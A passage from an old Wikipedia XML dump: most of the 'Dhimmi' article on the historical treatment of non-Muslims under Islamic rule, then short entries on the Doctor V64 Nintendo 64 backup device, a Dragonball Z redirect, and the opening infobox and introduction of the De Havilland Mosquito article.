== Status of dhimmis ==
Under Muslim rule, dhimmis were allowed to observe the commandments of their religions, albeit with restrictions attached. In exchange, they had to pay taxes for the benefit of the Muslim community and faced additional regulations, some of them intentionally humiliating and serving to remind dhimmis of their inferiority vis-a-vis Muslims.{{ref|inf}} The overarching principle in the treatment of dhimmis is encapsulated in the statement: &quot;Islam is exalted, and nothing is exalted above it&quot;{{ref|exalted}}. In the words of the British historian [[Bernard Lewis]]:
&lt;blockquote&gt;It is only very recently that some defenders of Islam began to assert that their society in the past accorded equal status to non-Muslims. No such claim is made by spokesman for resurgent Islam, and historically there is no doubt that they are right. Traditional Islamic societies neither accorded such equality nor pretended that they were so doing. Indeed, in the old order, this would have been regarded not as a merit but as a dereliction of duty. How could one accord the same treatment to those who follow the true faith and those who willfully reject it? This would be a theological as well as a logical absurdity.{{ref|lewis}}&lt;/blockquote&gt;

The treatment of dhimmis varied over time and space, mostly depending on a goodwill of the ruler. Arthur S. Tritton describes dhimmis living under the rule of caliphs as vulnerable to whims of rulers and violence of mobs.{{ref|tritton}} Dhimmis were allowed to live, and even prosper, according to historian Clifford Bosworth, largely because they practiced valuable trades such as doctors or performed functions such as [[usury]] that Muslims could not perform for religious reasons.{{ref|bosw|}} Stil, in the late [[Middle Ages]] some Jews preferred living as dhimmis in Muslim lands to living under Christian rule. In the 15th century, Isaac Zarfati, who fled from [[Germany]] to the [[Ottoman Empire]], wrote ''&quot;I proclaim to you that Turkey is a land wherein nothing is lacking, and where, if you will, all shall yet be well with you . . . Here every man may dwell at peace under his own vine and fig tree. Here you are allowed to wear the most precious garments. In Christendom, on the contrary, you dare not even venture to clothe your children in red or in blue, according to our taste, without exposing them to the insult of beaten black and blue, or kicked green and red&quot;''{{ref|zarfati}} and in the 16th century Samuel Usque, a Portuguese refugee, wrote ''&quot;here [in Turkey] the gates of liberty are always open for the observance of Judaism&quot;''.

===Religious aspects===
====Freedom of religion and forced conversions====
[[Image:Rambam.jpg|frame|Maimonides]]
The pledge of protection granted dhimmis freedom to practice their religion and spared them from forced conversions. Indeed, in the early centuries of Islamic conquests, forcible conversions were rare, and it is possible that as late as at the time of the [[Crusades]] non-Muslims still constituted a majority of the population.{{ref|lewismaj}} In some cases overeager rulers broke the pledge and dhimmis were occasionally forced to choose between conversion to Islam and death. In the 12th century, rulers of the [[Almohad]] dynasty killed or forcibly converted many Jews and Christians in [[Andalusia]] and [[Maghreb]], possibly putting an end to the existence of Christian communities in North Africa outside [[Egypt]].{{ref|almohad}} According to Bernard Lewis, during the [[Cordoba]] massacre of 1148, the Jewish philospher, theologian, and physician [[Maimonides]] spared his life only through conversion to Islam; after Maimonides moved to Egypt, this conversion was ruled void by a [[qadi|Muslim judge]] who was a friend and patient of Maimonides.{{ref|maimon}} Other sources say that Maimonides, then 13, accepted exile with his family and most other Jews of the city over conversion or death.{{ref|maimonnoconvert}} {{ref|maimonnoconvert2}} Sporadic waves of forced conversions occurred at different times and places, for example, in [[Lybia]] in 1558-89, in [[Tabriz]] in 1291 and 1338, or in [[Baghdad]] 1333 and 1344.{{ref|conv}} In 1839, Jews were massacred in [[Meshed]] and survivors were forcibly converted.{{ref|meshed}}

Dhimmis had the right to choose their own religious leaders, [[patriarchs]] for Christians, [[exilarch]]s and [[geonim]] for Jews. However, the choice of the community was subject to the approval of the Muslim authorities, who sometimes blocked candidates or took the side of the party that offered the larger bribe{{ref|rleaders}}.

Dhimmis were prohibited from [[Proselytism|proselytizing]] on pain of death. They were also not allowed to obstruct the spread of Islam in any manner. Other restrictions included a prohibition on publishing or sale of non-Muslim religious literature, and a ban on teaching the Qur’an.

====Rituals====
Although dhimmis were allowed to perform their religious rituals, they were obliged to do so in a manner not conspicuous to Muslims. Display of non-Muslim religious symbols, such as crosses or icons, was prohibited on buildings, as well as on clothing (unless mandated as part of ''[[Dhimmi#Distinctive clothing|distinctive clothing]]''). Loud prayers were forbidden, as were ringing bells or trumpeting [[shofar]]s. According to one [[hadith]], [[Muhammad]] said: “The bell is the devil’s pipe.”{{ref|transl}} ([[Sahih Muslim]], book 24, #5279). Furthermore, dhimmis had to bury their dead without loud lamentations and prayers.

====Places of worship====
According to the Islamic law, the permission for dhimmis to retain their places of worship and build new ones depended upon the circumstances in which the land fell under the Muslim rule. According to an Islamic jurist [[al-Nawawi]], dhimmis could not use churches and synagogues if their land was conquered by attack. Islamic law does not allow dhimmis to build new churches and synagogues, expanding, or repairing existing ones, even if they fell in ruin, as well as in towns founded after the conquest or where inhabitants voluntarily converted to Islam. If the country submitted by capitulation, al-Nawawi wrote, dhimmis were permitted to build new houses of worship only if the capitulation treaty stated that dhimmis remained owners of their land. In observance of this prohibition, Abbasid caliphs [[al-Mutawakkil]], [[al-Mahdi]], and [[Harun al-Rashid]] ordered destruction of all churches and synagogues built after the Islamic conquest. In the 11th century, the [[Fatimids|Fatimid]] caliph [[Al-Hakim bi-Amr Allah|al-Hakim]] oversaw over the demolition of all churches and synagogues in Egypt, Syria, and Palestine, including [[Church of the Holy Sepulchre]] in Jerusalem. However, al-Hakim subsequently allowed to rebuild the destroyed buildings. Nevertheless, dhimmis sometimes managed to expand churches and synagogues and even build new ones, albeit at a price of bribing to local officials in order to get permissions.{{ref|plworsh}}

There was no consensus in Islamic jurisprudence as to whether it was permissible for dhimmis to repair churches and synagogues. The pact of Umar, as cited by ibn Kathir, puts an obligation on dhimmis not to “restore any place of worship that needs restoration”[http://www.tafsir.com/default.asp?sid=9&amp;tid=20986]. At the same time, [[al-Mawardi]] wrote in the 11th century that dhimmis “can restore ancient synagogues and churches that have fallen into ruin”. As in the case of building new houses of worship, the ability of dhimmi communities to repair churches and synagogues usually depended upon its relationship with local Muslim authorities and its ability to pay bribes.

===Taxation===
{{main|Jizya}}
{{main|Kharaj}}
Dhimmi communities were subjected to taxes known as ''jizya'' – a [[poll tax]] – and ''kharaj'' – a land tax. Early chronicles use these terms indiscriminately; only later did ''kharaj'' emerge as a tax payable by a farmer regardless of his religion.{{ref|kharaj}} The resulting tax burden on dhimmis was higher than that on Muslims who paid ''[[zakat]]'' &amp;ndash; mandatory alms{{ref|jizyazakat}}, and according to Norman Stillman: “''Jizya'' and ''kharaj'' were a crushing burden for the non-Muslim peasantry who eked out a bare living in a subsistence economy.”{{ref|burden}} Most Islamic scholars agree that ''jizya'' must be levied only upon adult males, and the 8th-century scholar [[Abu Ubayd]] advises that dhimmis must not be burdened above their capacity or caused to suffer.{{ref|jizyazakat}} The [[Shafi'i]] school, however, dissents, demanding “the poll tax to be paid by dying people, the old, … the blind, monks, workers, and the poor, incapable of practicing a trade.” The latter view was often applied in practice, as contemporary non-Muslim sources give witness of taxation even of dead persons, widows, and orphans. All taxes paid by Muslims were usually doubled for dhimmis.{{ref|tax}}

Sura 9:29 demands that ''jizya'' be exacted from non-Muslims as a condition required for jihad to cease. Failure to pay the ''jizya'' could result in the pledge of protection of a dhimmi's life and property to become void with the dhimmi facing a choice between conversion and death or be imprisoned as advocated by [[Abu Yusuf]], the chief [[kadi|religious judge]] of Abbasid caliph Harun al-Rashid{{ref|abuyusuf}}. Al-Nawawi, however, argues that the unpaid amount of a poll tax remain as debt to a dhimmi’s account until he becomes solvent{{ref|tax}}. In the Ottoman Empire, dhimmis had to carry a receipt certifying their payment of jizya at all times, upon pain of imprisonment. &lt;!--If they joined the Muslim forces against an outside agressor they did not have to pay the jizya.&lt;ref&gt;''Islamic Political Ethics''
by Sohail H. Hashmi (editor), page 166 ISBN 0691113106&lt;/ref&gt;--&gt;

===Legal aspects ===
====Prohibition on testimony====
Testimony of dhimmis was not admissible in cases involving a Muslim; on the other hand, Muslims could testify against dhimmis.{{ref|test}} This legal disability put dhimmis in a precarious position in which they could not defend themselves against false accusations by Muslims except by hiring Muslim witnesses and bribing [[kadi|Muslim religious judges]]. Apart from breeding corruption, prohibition on non-Muslim testimony deepened the rift between communities, as dhimmis sought to reduce the possibility of conflict by limiting contacts with Muslims.{{ref|court}}

====Punishment for murder of a dhimmi====
In all schools of [[fiqh|Islamic jurisprudence]], except [[Hanafi]], the murder of a dhimmi, if perpetrated by a Muslim, was punishable by payment of blood money only and no death penalty was possible. For all schools of jusrisprudence, except Shafi'i, the value of a dhimmi's life was one-half of the value of a Muslim's life; for Shafi'is, Jews and Christians were worth one-third of a Muslim and Zoroastrians just one-fifteenth. Hanafi school, however, believes that murder of a dhimmi must be punishable by death, citing a hadith according to which [[Muhammad]] ordered execution of a Muslim who killed a dhimmi.{{ref|dsent}}

A peculiar practice developed in [[Yemen]], where Arab tribes collected jizya from Jews, offering them protection. If a Muslim from one tribe killed a Jew protected by another tribe, then the other tribe could retaliate by killing a Jew protected by the tribe of the murderer. As a result, two Jews were murdered, while no direct sanctions were imposed on Muslims.{{ref|yemen}}

===Social and psychological aspects===
====Humiliation of dhimmis====
Islamic law stipulates that dhimmis must be belittled for their rejection of Islam; humiliating them was an act of piety, a fulfillment of divine will. Bernard Lewis comments that&lt;blockquote&gt; The Qur'an and tradition often use the word ''dhull'' or ''dhilla'' (humiliation or abasment) to indicate the status God has assigned to those who reject Mohammad, and in which they should be kept for so long as they persist in that rejection.{{ref|humillewis}}&lt;/blockquote&gt;Ibn Kathir wrote that dhimmis must feel “disgraced, humiliated and belittled. Therefore, Muslims are not allowed to honor the people of the ''dhimma'' or elevate them above Muslims, for they are miserable, disgraced and humiliated.&quot;[http://www.tafsir.com/default.asp?sid=9&amp;tid=20986]  Echoing a saying attributed to Muhammad (Sahih Muslim, book 26, #5389), Hasan al-Kafrawi, an 18th century scholar, comments that “if you (Muslims) encounter one of them (dhimmis) on the road, push him into the narrowest and tightest spot”.[http://www.fordham.edu/halsall/jewish/1772-jewsinislam.html] European travelers to the Middle East describe humiliations and insults of Christians and Jews on the streets until the mid-19th century. 

As recommended by many Muslim scholars, most notably [[Zamakhshari|al-Zamakhshari]] and al-Nawawi, jizya was often collected in a humiliating procedure:&lt;blockquote&gt;[T]he collector remains seated and the infidel remains standing..., his head bowed and his back bent. The infidel must place money on the scales, while the collector holds him by his beard and strikes him on both cheeks.&lt;/blockquote&gt;The ritual stemmed from the traditional interpretation of Sura 9:29 that jizya was not merely a tax, but also an expression of submission.{{ref|humillewis}} Abu Yusuf, however, argues against mistreatment of dhimmis during jizya collection, saying that &quot;they should be treated with leniency&quot;.{{ref|abuyusuf}} The procedure was not followed in the [[Ottoman Empire]], where jizya was collected by representatives of dhimmi communities themselves.{{ref|tax}}
&lt;!--
The prohibition on forming friendship with them goes back to Sura 5:64:”O Believers, do not take as your friends the infidels or those who received the Scriptures before you”, i.e. Jews and Christians.--&gt;

====Distinctive clothing====
:''See also [[Yellow badge]]''
For dhimmis to be clearly distinguishable from Muslims in public, Muslim rulers often prohibited dhimmis from wearing certain types of clothing, while forcing them to put on highly distinctive garments, usually of a bright color. To increase the debasement of non-Muslims, the clothes usually had to be made of rough fabrics and were often incongruous. Although [[sumptuary law|distinctive clothing]] for non-Muslims was not spelled out in Islamic holy texts, Islamic scholars still issued rulings regarding clothing of dhimmis, citing the Pact of Umar in which Christians supposedly took an obligation to &quot;always dress in the same way wherever we may be, and ... bind the zunar [wide belt] round our waists&quot;. Al-Nawawi required dhimmis to wear a piece of yellow cloth and a belt, as well as a metallic ring inside public baths.{{ref|baths}}

Regulations on dhimmi clothings varied frequently to please the whims of the ruler. Although the initiation of such regulations are usually attributed to Umar I, historical evidence suggests that those were Abbasid caliphs who pioneered this practice. In 807, [[Harun al-Rashid]] ruled that Jews should wear high cone caps and yellow belts, the first prototypes of the [[yellow badge]]; Christians had to wear blue belts. These distinction marks became obsolete in 849 when [[al-Mutawakkil]] ordered dhimmis to put a yellow veil on their heads and shoulders and wear a wide belt. He also required them to wear small bells in public baths. In the 11th century, [[Fatimid]] caliph [[Al-Hakim bi-Amr Allah|Al-Hakim]] ordered Christians to put on half-meter wooden crosses and Jews to wear wooden [[golden calf|calves]] around their necks. In the late 12th century, Almohad ruler [[Yaqub, Almohad Caliph|Abu Yusuf]] ordered Jews of Maghreb to wear dark blue garments with long sleeves and saddle-like caps. His grandson, [[Abdallah, Almohad Caliph|Abdallah]], made a concession after appeals from the Jews, relaxing the required clothing to yellow garments and turbans. In the 16th century, Jews of Maghreb could only wear sandals made of rushes and black turbans or caps with a red piece of garment on it. 

[[Ottoman Empire|Ottoman]] sultans were similarly diligent and inventive in regulating the clothings of their non-Muslim subjects. In 1577, [[Murad III]] issued a [[firman]] forbidding Jews and Christians to wear dress, turbans, and sandals. In 1580, he changed his mind restricting the previous prohibition to turbans and requiring dhimmis to wear black shoes; Jews and Christians also had to wear red and black hats, respectively. Observing in 1730 that some Muslims took a habit of wearing caps similar to those of the Jews, [[Mahmud I]] ordered to hang the perpetrators. [[Mustafa III]] personally helped to enforce his decrees regarding clothes. In 1758, he was walking incognito in [[Istanbul]] and ordered to behead a Jew and an [[Armenians|Armenian]] seen in forbidden attire. The last Ottoman decree affirming the distinctive clothing for dhimmis was issued in 1837 by [[Mahmud II]]. Discriminatory clothing did not exist only in those Ottoman provinces where Christians were in majority, e.g. in Greece and the Balkans. {{ref|cloth}}&lt;!--In Persia, Zoroastrians were obliged to wear torn caps.--&gt;

====Riding====
Dhimmis were forbidden to ride horses or camels; they were only allowed to ride donkeys and only on packsaddles. The initiation of this prohibition is attributed alternatively to caliph Umar II or [[Umar ibn al-Khattab]]. In 18th century, Damanhuri, rector of [[Al-Azhar University]], summed up the consensus of Islamic jurists: “Neither Jew, nor Christian should ride a horse, with or without saddle. They may ride asses with a packsaddle.” European travelers passing through the Middle East in 18th and 19th centuries left ample evidence of careful enforcement of prohibitions on horseback riding. [[Carsten Niebuhr]] wrote in 1761 that in Egypt Jews and Christians were forced to alight before the houses of notable Muslims and when meeting such notables in the street.{{ref|ride}}

====Marriage====
Islamic jurists reject the possibility that a dhimmi man may marry a Muslim woman. As some scholars put it, marriage is like enslavement with a husband being the master and a wife being the slave. As dhimmis are prohibited from having Muslim slaves, so dhimmi men are not allowed to have Muslim wives. Following the same logic, Muslim men were allowed to marry dhimmi women because enslavement of non-Muslims by Muslims is allowed.{{ref|marry}}

===Personal freedom ===
An exception to the right for personal freedom guaranteed by ''dhimma'' was the practice of enslavement of young non-Muslim boys for the ruler’s slave army. The practice goes back to Abbasids, who recruited such slave warriors mainly from non-Muslim [[Turkic]] populations; descendants of those slaves later formed the [[Mamluk]] dynasties. The Ottoman Empire practiced a similar system known as [[devshirmeh]] by annually enslaving young boys from the Christian population of its [[Balkan]] provinces to muster [[Janissary]] troops.

==Consequences of ''dhimma''==
Over the course of many centuries, ''dhimma'' gradually led to the conversion of most Zoroastians and Christianians to Islam, but had an only a limited impact on the Jews. Zoroastism was the first to crumble after the Muslim conquest of [[Persia]]. Closely associated with the power structures of the Persian Empire, Zoroastrian clergy quickly declined after it was deprived of the state support. 

For Christians, the process of conversion was slower, but no less inexorable. The switch from a dominant to the inferior position proved too difficult for many Christians, and they converted to Islam in large numbers to avoid oppression. Christianity disappeared altogether in the [[Central Asia]], [[Yemen]], and Maghreb, where it was subjected to the persecutions of Almohads. In [[Syria]], [[Iraq]], and [[Egypt]], Christians fared better, but their numbers were still reduced from the overwhelming majority to a tiny minority. Bernard Lewis argues that the relative resiliency of Christians in those countries stemmed from their subordinated position in the Byzantine Empire, which made them more amenable to accept Muslim supremacy and that many of them felt better under the early Muslim rule than under the Byzantines.

Jews, on the other hand, were the least affected. Accustomed to survival in the adverse circumstances after many centuries of Roman and Byzantine persecutions, Jews saw the Islamic conquests as a yet another changes of rulers; this time, not necessarily for the worse. Voluntary conversions among Jews were rare, they managed to preserve their religion all over the Muslim lands.{{ref|conseqlewis}}

==See also== 
*[[Bat Ye'or]]
*[[Blood money]] laws
*[[Devshirme]]
*[[Dhimmi Watch]]
*[[Golden age of Jewish culture in Spain]]
*[[History of Christianity]]
*[[Jewish history ]]
*[[Islamism]]
*[[Jizyah]]
*[[Kafir]]
*[[Kharaj]]
*[[Millet (Ottoman Empire)|Ottoman Millet system]]
*[[Minority religion]]
*[[Mutaween]]
*[[People of the Book]]
*[[Second-class citizen]]
*[[Sharia]]
*[[Yellow badge]]

==Notes==
#{{note|khayblewis}} Lewis (1984), pp. 10&amp;ndash;11
#{{note|byzsource}} Bat Ye’or (2003), pp. 111&amp;ndash;113
#{{note|inf}} Lewis (1984), p. 16
#{{note|lewis}} Lewis (1984), p. 4
#{{note|exalted}} Friedmann (2003), p. 35
#{{note|bosw}} Bosworth (1982), p. 232
#{{note|tritton}} Tritton (1970), p. 49
#{{note|zarfati}} Lewis (1984), p. 136
#{{note|rleaders}} Stillman (1979), pp. 37&amp;ndash;39
#{{note|lewismaj}} Lewis (1984), p. 17
#{{note|almohad}} Lewis (1984), p. 52
#{{note|maimon}} Lewis (1984), p. 100
#{{note|maimonnoconvert}} Kantor (1989), p. 150
#{{note|maimonnoconvert2}} Husik (1946), p. 238
#{{note|conv}} Bat Ye’or (2003), p. 88
#{{note|meshed}} Lewis (1984), p. 168
#{{note|transl}} An alternative translation of this phrase is “The bell is the musical instrument of the Satan.”[http://www.usc.edu/dept/MSA/fundamentals/hadithsunnah/muslim/024.smt.html#024.5279]
#{{note|plworsh}} Bat Ye’or (2003), pp. 83&amp;ndash;85
#{{note|kharaj}} Lewis (2002), p. 81
#{{note|jizyazakat}} Lewis (1984), pp. 14&amp;ndash;15
#{{note|burden}} Stillman (1979), p. 26
#{{note|tax}} Bat Ye’or (2003), pp. 69&amp;ndash;71
#{{note|abuyusuf}} Abu Yusuf, ''Kitab al-Kharaj'', quoted in Lewis (1984), p. 15
#{{note|test}} Friedmann (2003), pp. 35&amp;ndash;36
#{{note|court}} Bat Ye’or (2003), p. 74
#{{note|humillewis}} Lewis (1984), p. 14
#{{note|dsent}} Bat Ye’or (2003), p. 75
#{{note|yemen}} Bat Ye’or (2003), p. 79
#{{note|bath}} Al-Nawawi, ''Minhadj'', quoted in Bat Ye’or (2003), p. 91
#{{note|cloth}} Bat Ye’or (2003), pp. 91&amp;ndash;96
#{{note|ride}} Bat Ye’or (2003), pp. 97&amp;ndash;98
#{{note|marry}} Friedmann (2003), pp. 161&amp;ndash;163
#{{note|conseqlewis}} Lewis (1984), pp. 17&amp;ndash;18

== References ==
* {{cite book | author=Bat Ye'or | title=The Dhimmi | publisher=Fairleigh Dickinson University Press | location=Madison/Teaneck, NJ | year=1985 | id=ISBN 0838632629}}
* {{cite book | author=Bat Ye'or | title=Islam and Dhimmitude. Where Civilizations Collide |  publisher=Fairleigh Dickinson University Press/Associated University Presses | location=Madison/Teaneck, NJ | year=2003 | id=ISBN 0838639437}}
* {{cite book | author=Bat Ye'or | title=The Decline of Eastern Christianity under Islam. From Jihad to Dhimmitude. Seventh-Twentieth Century  |  publisher=Fairleigh Dickinson University Press/Associated University Presses | location=Madison/Teaneck, NJ | year=1996 | id=ISBN 0838636888}}
* {{cite book | first=Andrew | last=Bostom | title=The Legacy of Jihad: Islamic Holy War and the Fate of Non-Muslims | publisher=Prometeus Books | year=2005 | id=ISBN 1591023076}}
* Bosworth, C. E. (1982). ''The Concept of Dhimma in Early Islam'' In Benjamin Braude and B. Lewis, eds., ''Christians and Jews in the Ottoman Empire: The Functioning of a Plural Society'' 2 vols., New York: Holmes &amp; Meier Publishing. ISBN 0841905207
* {{cite book | first=Jamsheed | last=Choksy | title=Conflict and Cooperation: Zoroastrian Subalterns and Muslim Elites in Medieval Iranian Society | location=New York | year=1997}}
* {{cite book | first=Yohanan | last=Friedmann | title=Tolerance and Coercion in Islam: Interfaith Relations in the Muslim Tradition | publisher=Cambridge University Press | year=2003 | id=ISBN 0521827035}}
* {{cite book | first=Isaac | last=Husik | title=A History of Mediaeval Jewish Philosophy | publisher=Jewish Publication Society of America  | location=Philadelphia | year=1946 | id=ASIN B0007DFH4E}}
* {{cite book | first=Mattis | last=Kantor | title=The Jewish Timeline Encyclopedia | publisher=Aronson | location=Northvale, NJ | year=1989 | id=ISBN  0-87668-229-8}}
* {{cite book | first=Louis | last=Gardet | title=La Cite Musulmane: Vie sociale et politique | publisher= Etudes musulmanes | location=Paris | year= 1954}}
* {{cite book | first=Bernard | last=Lewis | title=The Jews of Islam | publisher=Princeton University Press | location=Princeton | year=1984 | id=ISBN 0691008078}}
* {{cite book | first=Bernard | last=Lewis | title=The Arabs in History | publisher=Oxford University Press| location=Oxford | year=2002 | id=ISBN 0192803107}} 
* {{cite book | first=Norman | last=Stillman | title=The Jews of Arab Lands: A History and Source Book | publisher=Jewish Publication Society of America | location=Philadelphia | year=1979}}
* {{cite book | author=Tritton, A. S. | title=The Caliphs and their non-Muslim Subjects: a Critical Study of the Covenant of Umar | publisher=Frank Cass Publisher | location=London | year=1970 | id=ISBN 0714619965}}
* &lt;!--article?--&gt;''Encyclopedia Judaica'', Keter Publishing

== External links ==
* [http://libro.uca.edu/ics/ics5.htm Islamic and Christian Spain in the early Middle Ages. Thomas F. Glick: Chapter 5: Ethnic relations] 
* [http://www.iis.ac.uk/research/academic_papers/pluralism_egypt/pluralism_egypt.htm The Ahl al-Kitab in Early Fatimid Times]
* [http://www.dhimmi.com Dhimmi: The Victims of Muslim Religious Apartheid]
* [http://debate.org.uk/topics/history/xstnc-5.html The status of the Dhimmi: A critical perspective]
* [http://www.cyberislam.com/literature/fiqh/halalharam/chap4s5.html The status of the Dhimmi: An Islamic perspective]
* [http://www.dhimmi.org/ The Status of Non-Muslim Minorities Under Islamic Rule]
* [http://www.jihadwatch.org/dhimmiwatch/ Dhimmi Watch]
* [http://www.guidedones.com/metapage/non_muslims/Qislamtol10.htm Islam and its tolerance level (dhimmis also covered)]
* [http://www.fordham.edu/halsall/med/lewis1.html Bernard Lewis, ''Race and Slavery in the Middle East'']
* [http://www.secularislam.org/jihad/subjects.htm Jihad, the Arab Conquests and the Position of Non-Muslim Subjects] 
* {{ar icon}}[http://www.qaradawi.net/site/topics/article.asp?cu_no=2&amp;item_no=439&amp;version=1&amp;template_id=93&amp;parent_id=12 Yusuf al-Qaradawi &quot;Non Muslims in Islamic societies&quot;]
* [http://www.islamonline.net/servlet/Satellite?pagename=IslamOnline-English-Ask_Scholar/FatwaE/FatwaE&amp;cid=1119503545930 Religious Freedom in the Eyes of Shari`ah]
* [http://www.youngmuslims.ca/articles/display.asp?ID=43 On Religious Tolerance, by Khalid Baig]

[[Category:Islamic law]]
[[Category:Religion and politics]]

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    </revision>
  </page>
  <page>
    <title>Doctor V64</title>
    <id>9091</id>
    <revision>
      <id>40752310</id>
      <timestamp>2006-02-22T20:10:24Z</timestamp>
      <contributor>
        <username>Sango123</username>
        <id>223113</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.161.86.155|207.161.86.155]] ([[User talk:207.161.86.155|talk]]) to last version by FlyingPenguins</comment>
      <text xml:space="preserve">The '''Doctor V64''' is a backup/development device, made by [[Bung Enterprises Ltd]], that is used in conjunction with the [[Nintendo 64]].

The Doctor V64 came out in [[1996]] and soon dominated the market by the end of the year, facing virtually no competition.  Many third party developers used the V64 in lieu of the [[PC64 Development Kit]] sold by [[Nintendo]] because of its much lower cost.  Soon, individuals began to use the V64 for video game piracy.

The Doctor V64 unit contains a CD-ROM drive which sits underneath the Nintendo 64 and plugs into the expansion slot on the underside of the Nintendo 64.  The expansion slot is essentially a mirror image of the cartridge slot on the top of the unit, with the same electrical connections, thus the Nintendo 64 reads data from the Doctor V64 in the same manner as it would from a cartridge plugged into the normal slot.  In order to get around Nintendo's [[10NES|lockout chip]], when using the Doctor V64 a game cartridge is plugged into the Nintendo 64 through an adaptor which connects only the lockout chip.

Bung was at one time contemplating releasing a Doctor V2, but instead decided to release the Doctor V64 Jr. in [[December]] [[1998]].  This was basically a more cost-efficient condensed version of the original V64.  The V64jr had no CD drive and plugged into the normal cartridge slot on the top of the Nintendo 64.

The Doctor V64 is not very user friendly.  It was mainly designed for game designers even though it is possible to back up cartridges with it.  The setup procedure is moderately harrowing and the user interface is very plain: text with no graphics.  The [[Central processing unit|CPU]] of the V64 is a [[6502]] chip (the CPU from the [[Nintendo Entertainment System]]); the operating system is stored in the [[BIOS]] chip.  It is likely that Bung reused most of the design of their earlier NES clones in the Doctor V64.

The Doctor V64 could be used to read the data from a game cartridge and transfer the data to a PC via the parallel port.  A somewhat odd characteristic of the V64 is that the original software to do this ignored the [[endianness]] of the data, resulting in a copy with each pair of bytes swapped, and the CD-ROM interface of the V64 was designed to expect data in this swapped format.

==Main menu==

* Alternate and BootCrack
* Load Boot Crack Routine
* Backup Card Auto &amp;rarr; DRAM
* Backup Card Auto &amp;rarr; PC
* Manual Slide Show
* Auto Slide Show
* V64 Self Test
* Fully Test 128M DRAM
* Fully Test 256M DRAM
* Upload DRAM Data &amp;rarr; PC
* Fix CRC Code &amp;rarr; run game
* Show Game Name in DRAM
* Upload V64 BIOS to PC
* DX256 Upload to PC
* PC Download to DX256
* Swap Bytc Order in DRAM

==Specifications==

*CD-ROM access speed: 8x or 32x
*RAM: 128mb or 256 mb

[[Category:Unlicensed Nintendo hardware]]</text>
    </revision>
  </page>
  <page>
    <title>Dragonball Z</title>
    <id>9092</id>
    <revision>
      <id>25921623</id>
      <timestamp>2005-10-19T14:41:37Z</timestamp>
      <contributor>
        <username>Muchi</username>
        <id>283926</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Dragon Ball Z]]</text>
    </revision>
  </page>
  <page>
    <title>De Havilland Mosquito</title>
    <id>9093</id>
    <revision>
      <id>41939357</id>
      <timestamp>2006-03-02T19:37:32Z</timestamp>
      <contributor>
        <ip>65.60.190.70</ip>
      </contributor>
      <comment>updating entry</comment>
      <text xml:space="preserve">{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin: 0 0 1em 1em; border:3px solid #87CEEB;width:30%&quot; align=&quot;right&quot;
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom:3px solid&quot;|De Havilland Mosquito
|-
|colspan=&quot;3&quot; align=&quot;center&quot;|[[Image:Mosquito 600pix.jpg|250px|center|de Havilland Mosquito]]
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Description
|-
|Role||colspan=&quot;2&quot;|[[Fighter-bomber]], [[night fighter]], [[photo-reconnaissance]]
|-
|Crew||colspan=&quot;2&quot;|2
|-
|First flight||colspan=&quot;2&quot;|[[November 25]], [[1940 in aviation|1940]]
|-
|Entered service||colspan=&quot;2&quot;|[[1941 in aviation|1941]]
|-
|Manufacturer||colspan=&quot;2&quot;|[[de Havilland]], [[Airspeed Ltd|Airspeed]], [[Percival Aircraft Company|Percival]], [[Standard Motors]]
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Dimensions
|-
|Length||40 ft 10 in||12.44 m
|-
|Wingspan||54 ft 2 in||16.51 m
|-
|Height||15 ft 3 in||4.65 m
|-
|Wing area||454 ft&amp;sup2;||42.18 m&amp;sup2;
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Weights
|-
|Empty||14,300 lb||6,490 kg
|-
|Loaded||18,100 lb||8,210 kg
|-
|Maximum takeoff||20,000 lb||9,070 kg
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Powerplant
|-
|Engines||colspan=&quot;2&quot;|2 x [[Rolls-Royce Merlin]] 21/23, 72 or 76 Vee-type 
|-
|Power||1,460 hp (21/23)&lt;br/&gt;1,680 hp (72&amp;nbsp;or&amp;nbsp;76)||1089 kW&lt;br/&gt;1,253 kW
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Performance
|-
|Maximum speed||370 mph||595 km/h
|-
|Combat range||1,400 miles||2,253 km
|-
|Ferry range||1,905 miles||3,065 km
|-
|Service ceiling||43,500 ft||10,500 m
|-
|Rate of climb||2,200 ft/min||670 m/min
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Avionics
|-
|Avionics||colspan=&quot;2&quot;|AI Mk.IV, VIII or X radar (NF variants)&lt;br/&gt;Gee [[radio-navigation]]
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Armament
|-
|Guns&lt;br/&gt;(F &amp; NF)||colspan=&quot;2&quot;|4 x 20 mm Hispano Mk.II [[cannon]]s&lt;br/&gt;4 x .303 in (7.7 mm) Browning [[machine gun]]s&lt;br/&gt;57 mm cannon in nose (FB&amp;nbsp;XVIII)
|-
|Bombs||4,000 lb||1,800 kg
|-
|Rockets||colspan=&quot;2&quot;|8 x 60 lb (27 kg) rockets (Mk.VI)
|-
|}
{{lowercase|de Havilland Mosquito}}
The '''[[de Havilland]] Mosquito''' (&quot;The Wooden Wonder&quot; a.k.a. &quot;The Timber Terror&quot;) was a [[military]] [[aircraft]] that excelled in a number of roles during [[World War II]]. It was a twin engine aircraft with the [[aviator | pilot]] and [[navigator]] sitting side-by-side. Unorthodox in design, it used a [[plywood]] structure of [[spruce]] and [[balsa]] when wood and fabric construction was considered outdated.  It was powered by a pair of [[Rolls-Royce Merlin]] engines.  The Mosquito was conceived as a fast day bomber that could outrun all contemporary fighters and hence dispensed with defensive armament; however, due to its speed, agility and its exceptional durability due to its wooden design, it was also used as a fighter.  The fighter versions used a flat windshield to aid sighting.  Its various roles included tactical bomber, pathfinder, day or night fighter, [[fighter-bomber]], intruder, maritime strike or photo-[[reconnaissance]] aircraft.  It served with the [[Royal Air Force|RAF]], [[RAAF]], [[RCAF]], [[RNZAF]], [[USAAF]] and [[Israeli Air Force]], plus the air forces of Belgium, Burma, China, Czechoslovakia, France, Norway, South Africa, the Soviet Union, Sweden, Turkey, Yugoslavia and the Dominican Republic.  

== Construction ==
